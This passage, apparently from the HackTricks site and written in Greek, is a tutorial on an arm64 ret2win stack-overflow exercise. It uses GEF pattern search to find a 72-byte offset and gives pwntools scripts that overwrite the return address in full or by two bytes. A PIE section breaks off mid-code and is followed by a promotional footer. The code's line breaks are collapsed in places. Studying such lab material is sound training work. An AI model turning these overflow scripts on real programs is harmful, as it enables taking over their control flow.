Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας το GEF:
Ξεκινήστε το gdb με το gef, δημιουργήστε ένα μοτίβο και χρησιμοποιήστε το:
gdb-q./ret2winpatterncreate200run
Το arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει διαρρεύσει), μπορούμε να χρησιμοποιήσουμε αυτό για να βρούμε την μετατόπιση του προτύπου:
patternsearch $x30
Η μετατόπιση είναι 72 (9x48).
Επιλογή μετατόπισης στη στοίβα
Ξεκινήστε με την ανάκτηση της διεύθυνσης της στοίβας όπου αποθηκεύεται το pc register:
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Εκτός-2
Αντί να αντικαταστήσουμε όλη τη διεύθυνση επιστροφής, θα αντικαταστήσουμε μόνο τα τελευταία 2 bytes με 0x06c4.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Με PIE
Μεταγλωττίστε το δυαδικό χωρίς το όρισμα -no-pie
Off-by-2
Χωρίς διαρροή δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης που κερδίζει, αλλά μπορούμε να γνωρίζουμε τη μετατόπιση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε τη μετατόπιση προς τη συνάρτηση κέρδους (0x7d4) σε αυτήν την περίπτωση και απλά να χρησιμοποιήσουμε αυτήν τη μετατόπιση:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>